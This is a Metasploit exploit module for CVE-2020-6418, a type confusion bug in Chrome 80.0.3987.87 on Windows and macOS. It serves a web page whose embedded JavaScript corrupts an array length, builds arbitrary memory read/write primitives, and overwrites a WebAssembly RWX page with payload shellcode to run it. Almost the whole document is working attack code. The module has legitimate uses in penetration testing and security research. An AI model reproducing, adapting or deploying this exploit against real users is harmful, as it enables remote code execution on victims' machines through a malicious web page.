Google Chrome 80 JSCreate Side-Effect Type Confusion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
      'Description'    => %q{
      This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
      corrupts the length of a float array (float_rel), which can then be used for out
      of bounds read and write on adjacent memory.
      The relative read and write is then used to modify a UInt64Array (uint64_aarw)
      which is used for read and writing from absolute memory.
      The exploit then uses WebAssembly in order to allocate a region of RWX memory,
      which is then replaced with the payload shellcode.
      The payload is executed within the sandboxed renderer process, so the browser
      must be run with the --no-sandbox option for the payload to work correctly.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Clment Lecigne', # discovery
          'Istvn Kurucsai', # exploit
          'Vignesh S Rao',   # exploit
          'timwr', # metasploit copypasta
        ],
      'References'     => [
          ['CVE', '2020-6418'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
          ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
          ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
          ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
        ],
      'DisclosureDate' => 'Feb 19 2020'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def on_request_uri(cli, request)
    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    escaped_payload = Rex::Text.to_unescape(payload.raw)
    jscript = %Q^
var shellcode = unescape("#{escaped_payload}");

// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}

Number.prototype.fhw = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}

Number.prototype.flw = function() {
    float_view[0] = this;
    return int_view[0] & BigInt(2**32-1);
}

Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

function hex(a) {
    return a.toString(16);
}

//
// EXPLOIT
//

// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel;      // float array, initially corruption target
var float_carw;     // float array, used for reads/writes within the compressed heap
var uint64_aarw;    // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker;     // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();

function empty() {}

function f(nt) {
    // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
    vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
    for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
    get: function() {
        vuln[0] = {};
        float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
        float_carw = [6.6];
        uint64_aarw = new BigUint64Array(4);
        obj_leaker = {
            a: float_rel,
            b: float_rel,
        };

        return Object.prototype;
    }
});

function main(o) {
  for (var i = 0; i < 0x10000; ++i) {};
  return f(o);
}

// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
    var qw_offset = Math.floor(offset / 2);
    if (offset & 1 == 1) {
        return float_rel[qw_offset].fhw();
    } else {
        return float_rel[qw_offset].flw();
    }
}

// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
    var qw_offset = Math.floor(offset / 2);
    // we are writing an 8-byte double under the hood
    // read out the other half and keep its value
    if (offset & 1 == 1) {
        temp = float_rel[qw_offset].flw();
        new_val = (val << 32n | temp).i2f();
        float_rel[qw_offset] = new_val;
    } else {
        temp = float_rel[qw_offset].fhw();
        new_val = (temp << 32n | val).i2f();
        float_rel[qw_offset] = new_val;
    }
}

const float_carw_elements_offset = 0x14;

function cabs_read4(caddr) {
    elements_addr = caddr - 8n | 1n;
    crel_write4(float_carw_elements_offset, elements_addr);
    print('cabs_read4: ' + hex(float_carw[0].f2i()));
    res = float_carw[0].flw();
    // TODO restore elements ptr
    return res;
}


// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
    elements_addr = caddr - 8n | 1n;
    crel_write4(float_carw_elements_offset, elements_addr);
    print('cabs_read8: ' + hex(float_carw[0].f2i()));
    res = float_carw[0].f2i();
    // TODO restore elements ptr
    return res;
}

// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
    elements_addr = caddr - 8n | 1n;

    temp = cabs_read4(caddr + 4n | 1n);
    print('cabs_write4 temp: '+ hex(temp));

    new_val = (temp << 32n | val).i2f();

    crel_write4(float_carw_elements_offset, elements_addr);
    print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));

    float_carw[0] = new_val;
    // TODO restore elements ptr
    return res;
}

const objleaker_offset = 0x41;
function addrof(o) {
    obj_leaker.b = o;
    addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
    obj_leaker.b = {};
    return addr;
}

const uint64_externalptr_offset = 0x1b;     // in 8-bytes

// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    val = uint64_aarw[0];

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
    return val;
}

// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    uint64_aarw[0] = val;

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
    return val;
}

// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset - 1] = 10;
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    for (var i = 0; i < sc.length; ++i) {
        uint64_aarw[i] = sc[i]
    }

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
}


function get_compressed_rw() {

    for (var i = 0; i < 0x10000; ++i) {empty();}

    main(empty);
    main(empty);

    // Function would be jit compiled now.
    main(p);

    print(`Corrupted length of float_rel array = ${float_rel.length}`);
}

function get_arw() {
    get_compressed_rw();
    print('should be 0x2: ' + hex(crel_read4(0x15)));
    let previous_elements = crel_read4(0x14);
    //print(hex(previous_elements));
    //print(hex(cabs_read4(previous_elements)));
    //print(hex(cabs_read4(previous_elements + 4n)));
    cabs_write4(previous_elements, 0x66554433n);
    //print(hex(cabs_read4(previous_elements)));
    //print(hex(cabs_read4(previous_elements + 4n)));

    print('addrof(float_rel): ' + hex(addrof(float_rel)));
    uint64_aarw[0] = 0x4142434445464748n;
}

function rce() {
    function get_wasm_func() {
        var importObject = {
            imports: { imported_func: arg => print(arg) }
        };
        bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
        wasm_code = new Uint8Array(bc);
        wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
        return wasm_mod.exports.exported_func;
    }

    let wasm_func = get_wasm_func();
    //  traverse the JSFunction object chain to find the RWX WebAssembly code page
    let wasm_func_addr = addrof(wasm_func);
    let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
    print('sfi: ' + hex(sfi));
    let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
    print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));

    let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
    print('instance: ' + hex(instance));

    let wasm_rwx_addr = cabs_read8(instance + 0x68n);
    print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));

    // write the shellcode to the RWX page
    while(shellcode.length % 4 != 0){
        shellcode += "\u9090";
    }

    let sc = [];

    // convert the shellcode to BigInt
    for (let i = 0; i < shellcode.length; i += 4) {
        sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
    }

    writeShellcode(wasm_rwx_addr,sc);

    print('success');
    wasm_func();
}


function exp() {
    get_arw();
    rce();
}

exp();
^

    if datastore['DEBUG_EXPLOIT']
      debugjs = %Q^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(/\/\/.*$/, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
    ^
    send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
  end

end

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